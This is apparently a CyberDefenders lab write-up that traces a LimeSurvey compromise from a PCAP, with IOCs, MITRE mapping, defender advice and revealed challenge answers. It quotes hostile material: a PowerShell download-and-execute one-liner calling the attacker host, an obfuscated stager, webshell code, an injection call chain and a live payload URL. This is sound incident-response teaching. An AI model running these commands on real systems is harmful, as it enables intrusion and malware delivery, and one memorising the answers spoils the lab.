// CyberDefenders  ·  writeup

Satisfaction

CyberDefenders CyberChefWiresharkDetect It EasyURLScan.ioGhidraPowerShell

Scenario

Wowza Innotech hosted an onsite customer meetup at their headquarters. Each session concluded with attendees completing a satisfaction survey on an internal workstation accessible only within the building’s network. During one session, a customer noticed the survey page had redirected them to a suspicious external site prompting a file download and reported it immediately to the IR team.

Internal interviews surfaced a person of interest: an attendee who had a heated argument with staff during the event and had a history of misusing technology when upset. The IR team’s hypothesis was that the compromise occurred during the meetup itself — someone physically present on the network. The single artefact handed over was Satisfaction_evidence.pcapng, captured by network operations during the event.


Methodology

Attribution — Identifying the Attacker’s Device

Infrastructure servers hold static IPs. Any device obtaining a DHCP lease during the meetup window is a visitor device. Filtering on bootp in Wireshark immediately surfaces this:

bootp

One dynamic client is visible throughout the capture: 10.10.72.129 obtaining leases from 10.10.72.254. Every other host on 10.10.72.0/24 has a static assignment — no Discover/Offer/Request cycles. The DHCP Request packet for 10.10.72.129 shows the hardware address in the Client MAC Address field directly in the Wireshark detail pane. That MAC is the attacker’s laptop joining the internal network at the start of the event.

Attacker MAC: 00:0c:29:b8:dd:c6


Survey Platform Identification

Filtering HTTP requests originating from the attacker’s IP reveals all traffic to the survey server at 10.10.72.175, resolving to lime.wowzainnotechie.com:

ip.dst == 10.10.72.175 && http.request

The URL path /index.php/admin/authentication/sa/login is the LimeSurvey admin login endpoint — a fingerprint distinctive enough to confirm the platform without needing a server banner. LimeSurvey is a self-hosted PHP survey application, commonly deployed on internal networks for exactly this kind of corporate feedback collection.

Survey platform: LimeSurvey


Credential Brute Force

The attacker’s first action after locating the server was targeting the admin panel. A cluster of POST requests to /index.php/admin/authentication/sa/login in rapid succession — each an independent 6-digit numeric guess — is the brute force signature:

ip.dst == 10.10.72.175 && http.request.method == "POST" && http.request.uri contains "sa/login"

The first POST lands at 2025-11-30 15:11 UTC. The sequence continues through passwords like 123456, 654321, and others before LimeSurvey’s lockout fires. The last submission before the 10-minute timeout was 111111. After the lockout expired the attacker returned, found the correct credential on a fresh attempt, and landed on the admin dashboard at 2025-11-30 15:25 — confirmed by GET /index.php/dashboard/view returning a 200.

The 14-minute gap between first attempt and successful login maps precisely to a 10-minute lockout plus a short second round. The brute force was purely numeric — the lockout mechanism slowed but did not stop it.


Plugin Upload — Initial Access Mechanism

With admin access, the attacker used LimeSurvey’s built-in plugin manager to upload a ZIP archive. Legitimate plugin installation follows this exact same path — there is no privilege escalation required, just admin credentials:

POST /index.php/admin/pluginmanager?sa=upload (multipart/form-data, 1902 bytes)
POST /index.php/admin/pluginmanager?sa=installUploadedPlugin

Extracting the archive from File → Export Objects → HTTP in Wireshark and inspecting its contents reveals two files: config.xml (a convincing LimeSurvey plugin manifest describing “Satisfactory Co., Ltd.”) and main.php — the webshell. Hashing the webshell:

sha256sum main.php
# 9F9640DBD6489EBF9AF26F4B70E8919C3B5AA08B39702DE44F855936752329C5

The webshell is a compact obfuscated PHP script. Decoded, it builds a list of dangerous functions — system, exec, shell_exec, passthru — and iterates through them, calling the first one not disabled in php.ini. Commands are passed via the ?lol= query parameter:

$S=array(m("ncoai","msyte","cocain"),m("sir","cex","iris"),
         m("otab","lshe","taboo")."_".m("sir","cex","iris"),
         m("gbledin","upasthr","bleeding"));

The string substitution resolves to ['system', 'exec', 'shell_exec', 'passthru']. Chaining through multiple execution methods makes the shell resilient to PHP hardening controls that only disable one or two functions — a common misconfiguration in shared hosting environments.

Plugin name: Satisfactory


Webshell Execution — Reconnaissance

The webshell was immediately accessible at /upload/plugins/Satisfactory/main.php. The first command:

GET /upload/plugins/Satisfactory/main.php?lol=hostname

Response: developementpc9

Subsequent commands included whoami /all, which returned the victim user context:

developementpc9\everdeen

The username everdeen becomes important later when resolving the persistence path, which is built dynamically from environment variables at runtime.


PowerShell Stager Delivery (cat.jpg)

With RCE confirmed, the attacker delivered a PowerShell stager via the webshell. The command URL-decoded:

powershell -w hidden -ep bypass -c iex (iwr -useb 'http://10.10.72.129/cat.jpg')

The file is named cat.jpg to blend into HTTP logs as benign image traffic. The attacker’s Python SimpleHTTP/0.6 server returns a Content-Type: image/jpeg header while serving a PowerShell script body — a trivial MIME mismatch that basic proxies won’t flag. Finding the transfer in Wireshark:

ip.src == 10.10.72.129 && http && http.request.uri contains "cat.jpg"

Following the TCP stream for that request exposes the full stager content:

$qHl6EupFGSWVKOL7jU = $(-join('qccy://10.10.72.129/luxdmoujanm.ngn'.ToCharArray()|%{
    [int]$c=$_;
    if($c-ge65-and$c-le90){[char](65+(($c-65+17)%26))}
    elseif($c-ge97-and$c-le122){[char](97+(($c-97+17)%26))}
    else{[char]$c}}))

$ZtvDk = ($env:LOCALAPPDATA + $(-join('\Oketquqhv\QpgFtkxg\QpgFtkxgCrr.gzg'.ToCharArray()|%{
    [int]$c=$_;
    if($c-ge65-and$c-le90){[char](65+(($c-65+24)%26))}
    elseif($c-ge97-and$c-le122){[char](97+(($c-97+24)%26))}
    else{[char]$c}})))

Two ROT cipher shifts are used. The download URL uses ROT+17: qccy://10.10.72.129/luxdmoujanm.ngn decodes to http://10.10.72.129/cloudflared.exe. The persistence path uses ROT+24 (equivalent to ROT-2): \Oketquqhv\QpgFtkxg\QpgFtkxgCrr.gzg decodes to \Microsoft\OneDrive\OneDriveApp.exe. Combined with %LOCALAPPDATA% (resolving to C:\Users\everdeen\AppData\Local), the full deploy path is:

C:\Users\everdeen\AppData\Local\Microsoft\OneDrive\OneDriveApp.exe

The remaining script lines use ASCII charcode arrays to obfuscate Invoke-WebRequest and Start-Process — a common technique for evading static pattern matching on PowerShell script content. The stager downloads the binary, writes it to the masqueraded path, and executes it.

Stager: cat.jpg


Binary Analysis — cloudflared.exe

The binary exported from the PCAP and hashed:

sha256sum cloudflared.exe
# 7C0D7C44AD027BF42F01C63023CEBB04F25443F63735383FDA57087B4DE44D48

Detect It Easy confirms: PE64, native C, gcc compiler, no packer — a straight Ghidra decompile with no unpacking step needed.

Loading into Ghidra with auto-analysis, ADVAPI32.DLL resolves cleanly — the registry persistence imports are immediately visible:

The binary uses XOR 0x7a as a universal string obfuscation key throughout. Every sensitive string — URLs, process names, registry paths, environment variable names — is stored as an encrypted byte sequence in .rdata and decoded at runtime by a shared helper function (FUN_140013fe0). Static string search finds nothing useful; every pivot requires navigating to a DAT_ address and decoding the byte sequence in CyberChef with From Hex → XOR key 7a.


Shellcode Download and Injection (FUN_140020a90)

The primary payload function handles shellcode acquisition and injection. Walking the Ghidra decompiler from the top:

The shellcode source URL is stored at DAT_140026aa0 (30 bytes, key 0x7a). Decoding that byte sequence in CyberChef:

12 0e 0e 0a 40 55 55 4b 4a 54 4b 4a 54 4d 48 54
4b 48 43 55 19 15 14 1c 13 1d 54 18 13 14

Result: http://10.10.72.129/config.bin

The binary fetches this URL via URLOpenBlockingStreamA and streams the response into a dynamically allocated buffer, accumulating bytes in local_210 until the stream closes. That accumulated size is the shellcode length. The config.bin request is visible in the PCAP — the If-Modified-Since request header carries length=511, confirming the shellcode size at 511 bytes:

http contains "config.bin"

The injection target process is stored at DAT_140026b00 (12 bytes, key 0x7a), also decoded via FUN_140013fe0 with 0x7a. The first four decoded bytes map to e, x, p, l — explorer.exe. The function FUN_1400140b0 finds a running explorer.exe handle using CreateToolhelp32Snapshot.

With a handle obtained, the standard injection chain runs:

lpStartAddress = VirtualAllocEx(hProcess, 0x0, dwSize, 0x3000, 0x40);
WriteProcessMemory(hProcess, lpStartAddress, shellcode, dwSize, &written);
hObject = CreateRemoteThread(hProcess, NULL, 0, lpStartAddress, NULL, 0, &threadId);

MEM_COMMIT | MEM_RESERVE (0x3000) with PAGE_EXECUTE_READWRITE (0x40) allocates executable memory. The shellcode is written and a remote thread is spawned to execute it inside the explorer.exe process space. CreateRemoteThread and VirtualAllocEx are both present in the imports — visible in the Ghidra Symbol Tree under KERNEL32.DLL.

Shellcode size: 511 bytes. Injection target: explorer.exe


Persistence (FUN_140014180)

After injection, execution returns to the persistence function. Two XOR decode loops run in sequence before the registry calls.

DAT_140026a70 (11 bytes, key 0x7a) decodes to Environment. The registry handle is HKEY_CURRENT_USER (hardcoded as 0xffffffff80000001), so RegOpenKeyExA opens HKCU\Environment.

DAT_140026a80 (22 bytes, key 0x7a) decodes to UserInitMprLogonScript — the value name written by RegSetValueExA. This is a Windows logon script persistence key: at user logon, the OS executes whatever path is stored in HKCU\Environment\UserInitMprLogonScript before the interactive session starts.

The value data is constructed at runtime. The inline string 659;6;**>;.; (12 bytes, XOR 0x7a) decodes to LOCALAPPDATA — the environment variable name passed to GetEnvironmentVariableA. The suffix appended to the expanded path comes from DAT_140026ac0 (35 bytes, key 0x7a): \Microsoft\OneDrive\OneDriveApp.exe.

Combined with the expanded %LOCALAPPDATA% for everdeen:

C:\Users\everdeen\AppData\Local\Microsoft\OneDrive\OneDriveApp.exe

Deploying under %LOCALAPPDATA%\Microsoft\OneDrive\ with the name OneDriveApp.exe is deliberate masquerading — legitimate OneDrive processes live in that exact directory, and OneDriveApp.exe is a plausible enough filename to survive a quick triage without hash verification. UserInitMprLogonScript is also rarely monitored compared to the more common Run key persistence paths.

Persistence path: C:\Users\everdeen\AppData\Local\Microsoft\OneDrive\OneDriveApp.exe Technique: T1037.001 — Logon Script (Windows)


Reverse Shell Channel

With shellcode running inside explorer.exe, the callback is visible in the PCAP. Filtering for TCP SYN packets from the survey server back to the attacker:

ip.src == 10.10.72.175 && ip.dst == 10.10.72.129 && tcp.flags.syn == 1

The only non-port-80 outbound SYN from the survey server to the attacker is 53212 → 443. Using port 443 is deliberate — raw TCP on 443 is visually indistinguishable from HTTPS in a basic traffic review, and most egress policies allow it to all destinations.

Reverse shell port: 443


Survey Modification

With a stable C2 channel established, the attacker edited the live survey content. The POST to /index.php/admin/database/index/updatesurveylocalesettings carries the full survey description field in the body. URL-decoded, the description_en parameter now includes:

visit https://priceconsultinggrp.com for the special discount

Any attendee who completed the survey and followed that link would land on a page designed to push a malicious file download.

Malicious URL: https://priceconsultinggrp.com


OSINT — Threat Actor Attribution (urlscan.io)

The incident date is 30 November 2025. Four days prior is 26 November. Searching urlscan.io:

page.domain:priceconsultinggrp.com

The 26 November 2025 result (submitted manually, scanned from UK) shows the site serving a fake Chrome update page — “To CONTINUE you need to update your browser” — flagged as Potentially Malicious / Fake Update. The DOM source for that scan exposes the button click handler:

// Liên kết tải xuống trực tiếp - THAY BẰNG LIÊN KẾT CỦA BẠN:
const DOWNLOAD_URL = "https://rummikub-apps.com/Installer.69-65-1-80-update_brows-y.zip";

Payload download URL: hxxps[://]rummikub-apps[.]com/Installer.69-65-1-80-update_brows-y.zip

Every code comment in the page source is written in Vietnamese — CSS layout comments (/* Đặt lại và kiểu cơ bản */ = “Reset and basic styles”), function annotations (// Hàm khởi tạo chính = “Main initialization function”), and inline debug notes (// Liên kết tải xuống trực tiếp = “Direct download link”). This is not a translation artifact — the developer wrote their working comments in Vietnamese throughout the codebase.

Country of origin: Vietnam


Attack Summary

PhaseAction
Physical AccessAttacker joins internal network during meetup; DHCP assigns 10.10.72.129 (MAC 00:0c:29:b8:dd:c6)
Credential AccessLimeSurvey admin brute-forced with 6-digit numeric passwords; lockout at 15:11; authenticated at 15:25
Initial AccessSatisfactory plugin ZIP uploaded via admin plugin manager; contains PHP webshell (main.php)
ExecutionWebshell executed hostname, whoami /all for host recon; PowerShell stager (cat.jpg) invoked via IEX
Defense Evasioncat.jpg obfuscates download URL with ROT+17 and persistence path with ROT+24; Invoke-WebRequest and Start-Process hidden in charcode arrays
Defense Evasioncloudflared.exe XOR-obfuscates all strings with key 0x7a; deployed as OneDriveApp.exe under legitimate OneDrive path
ExecutionBinary downloads 511-byte shellcode from hxxp[://]10[.]10[.]72[.]129/config[.]bin via URLOpenBlockingStreamA
Defense Evasion / Privilege EscalationShellcode injected into explorer.exe via VirtualAllocEx / WriteProcessMemory / CreateRemoteThread
PersistenceHKCU\Environment\UserInitMprLogonScript set to OneDriveApp.exe (T1037.001)
C2Shellcode reverse shell to 10.10.72.129:443
ImpactSurvey description modified to embed hxxps[://]priceconsultinggrp[.]com link, directing attendees to fake Chrome update page

IOCs

TypeValue
MAC (Attacker)00:0c:29:b8:dd:c6
IP (Attacker)10.10.72.129
IP (Survey Server)10.10.72.175
Domain (Survey Server)lime[.]wowzainnotechie[.]com
Filemain.php (LimeSurvey webshell)
Filecat.jpg (PowerShell stager)
Filecloudflared.exe / OneDriveApp.exe
SHA-256 (webshell)9F9640DBD6489EBF9AF26F4B70E8919C3B5AA08B39702DE44F855936752329C5
SHA-256 (binary)7C0D7C44AD027BF42F01C63023CEBB04F25443F63735383FDA57087B4DE44D48
URL (stager)hxxp[://]10[.]10[.]72[.]129/cat[.]jpg
URL (binary)hxxp[://]10[.]10[.]72[.]129/cloudflared[.]exe
URL (shellcode)hxxp[://]10[.]10[.]72[.]129/config[.]bin
Registry KeyHKCU\Environment\UserInitMprLogonScript
Persistence PathC:\Users\everdeen\AppData\Local\Microsoft\OneDrive\OneDriveApp.exe
Domain (malicious redirect)priceconsultinggrp[.]com
URL (payload)hxxps[://]rummikub-apps[.]com/Installer[.]69-65-1-80-update_brows-y[.]zip
Port (reverse shell)443

MITRE ATT&CK

TechniqueIDDescription
Brute Force: Password GuessingT1110.0016-digit numeric password brute force against LimeSurvey admin panel; lockout at 15:11, success at 15:25
Server Software Component: Web ShellT1505.003PHP webshell (main.php) embedded in Satisfactory LimeSurvey plugin archive, installed via admin plugin manager
Command and Scripting Interpreter: PowerShellT1059.001cat.jpg stager executed via webshell; IEX download-and-execute pattern
Obfuscated Files or InformationT1027XOR 0x7a encoding of all sensitive strings in cloudflared.exe binary
Command ObfuscationT1027.010ROT+17 / ROT+24 ciphers and ASCII charcode arrays in cat.jpg PowerShell stager
Process InjectionT1055511-byte shellcode injected into explorer.exe via VirtualAllocEx / WriteProcessMemory / CreateRemoteThread
Boot or Logon Initialization Scripts: Logon Script (Windows)T1037.001HKCU\Environment\UserInitMprLogonScript set to OneDriveApp.exe for user-context persistence
Masquerading: Match Legitimate Name or LocationT1036.005Binary deployed as OneDriveApp.exe under %LOCALAPPDATA%\Microsoft\OneDrive\ to blend with legitimate OneDrive processes

Defender Takeaways

Restrict CMS plugin uploads to code-signed or vetted sources. LimeSurvey’s plugin manager accepted an arbitrary ZIP archive with no signature verification. Requiring vendor-signed plugins or disabling third-party plugin installation entirely removes this attack surface. Where plugin uploads are necessary, file integrity monitoring on the plugin directory with alerting on new PHP files written outside the application update path would catch this within minutes of installation.

Admin panel authentication needs more than a lockout. A 10-minute timeout is a speed bump, not a control — and paired with a weak 6-digit numeric password, the attacker needed only one lockout cycle. Rate-limiting with increasing backoff, IP-based throttling on authentication endpoints, and alerting on more than three failed admin logins per source IP are minimum controls. MFA on the admin panel would have stopped this attack regardless of password quality.

Monitor HKCU\Environment\UserInitMprLogonScript for writes. This persistence key is rarely written by legitimate software and is not commonly covered by default detection rules. A Sysmon RegistryEvent (Event ID 13) rule targeting \Environment\UserInitMprLogonScript across all user hives will catch this technique regardless of payload name or path. It is specifically valuable because most defenders focus on HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and similar well-known keys.

Behavioural detection survives masquerading; hash and path detection does not. The binary was deployed as OneDriveApp.exe in a directory where legitimate OneDrive processes also live. Hash detection only works on known samples; path-based allowlisting only works if the parent process chain is validated too. Detecting CreateRemoteThread calls from non-Microsoft parents into explorer.exe, or processes under %LOCALAPPDATA% initiating outbound TCP to ephemeral IPs, is durable against this pattern regardless of what the binary is named.

Egress filtering on port 443 must enforce TLS inspection, not just allow the port. The shellcode used port 443 specifically to blend with legitimate HTTPS traffic. A strict egress policy requiring TLS termination through an inspecting proxy — blocking raw TCP on 443 that doesn’t complete a verified TLS handshake to a known destination — would have severed the C2 channel at the perimeter. At minimum, alerting on explorer.exe initiating outbound TCP connections is anomalous and trivially detectable in an EDR with network telemetry.


The IR team believes the attacker was physically present on the internal network during the meetup. To begin attribution, we need to identify the device they used. What is the MAC address associated with the threat actor's device?
Click flag to reveal 00:0c:29:b8:dd:c6
The feedback form was hosted on one of the machines internally in the network. What is the used service for hosting the feedback form?
Click to reveal answer LimeSurvey
Provide the timestamp when the threat actor began attempting to guess the admin password on the survey platform's administrative panel.
Click flag to reveal 2025-11-30 15:11
What was the final password the threat actor submitted before triggering the 10-minute timeout?
Click to reveal answer 111111
Provide the timestamp when the threat actor successfully logged into the survey site as the admin user.
Click flag to reveal 2025-11-30 15:25
With admin access secured, the attacker started his actions. What is the name of the plugin uploaded by the threat actor?
Click to reveal answer Satisfactory
Along with the plugin there was a webshell. Provide the SHA-256 hash of the web shell used by the threat actor.
Click flag to reveal 9F9640DBD6489EBF9AF26F4B70E8919C3B5AA08B39702DE44F855936752329C5
What was the first command executed through the webshell by the threat actor?
Click to reveal answer hostname
What is the name of the PowerShell script executed by the threat actor to facilitate the initial access?
Click flag to reveal cat.jpg
Provide the SHA-256 hash of the executable that was downloaded and executed by the previously run PowerShell script.
Click to reveal answer 7C0D7C44AD027BF42F01C63023CEBB04F25443F63735383FDA57087B4DE44D48
Now that you have the executable, start decompiling it. What is the size of the shellcode that was downloaded and used in this attack?
Click flag to reveal 511
What is the name of the process into which the shellcode is injected?
Click to reveal answer explorer.exe
The executable uses the registry for persistence. What is the exact path the executable sets for persistence in this incident?
Click flag to reveal C:\Users\everdeen\AppData\Local\Microsoft\OneDrive\OneDriveApp.exe
Identify the MITRE ATT&CK technique ID that corresponds to the persistence mechanism implemented by the executable.
Click to reveal answer T1037.001
Back to the pcap. What is the port used for reverse shell connection?
Click flag to reveal 443
The threat actor made a change to the survey by adding a website link which directs the user to a malicious file download. What is the URL of that website?
Click to reveal answer https://priceconsultinggrp.com
From the previous question, scan the identified domain on urlscan.io/search and inspect the site's behavior exactly 4 days before the incident. What is the URL the malicious file is downloaded from?
Click flag to reveal https://rummikub-apps.com/Installer.69-65-1-80-update_brows-y.zip
Based on the language used in the code comments within the malicious URL's page, what country is the likely origin of the threat actor who developed this malicious page?
Click to reveal answer vietnam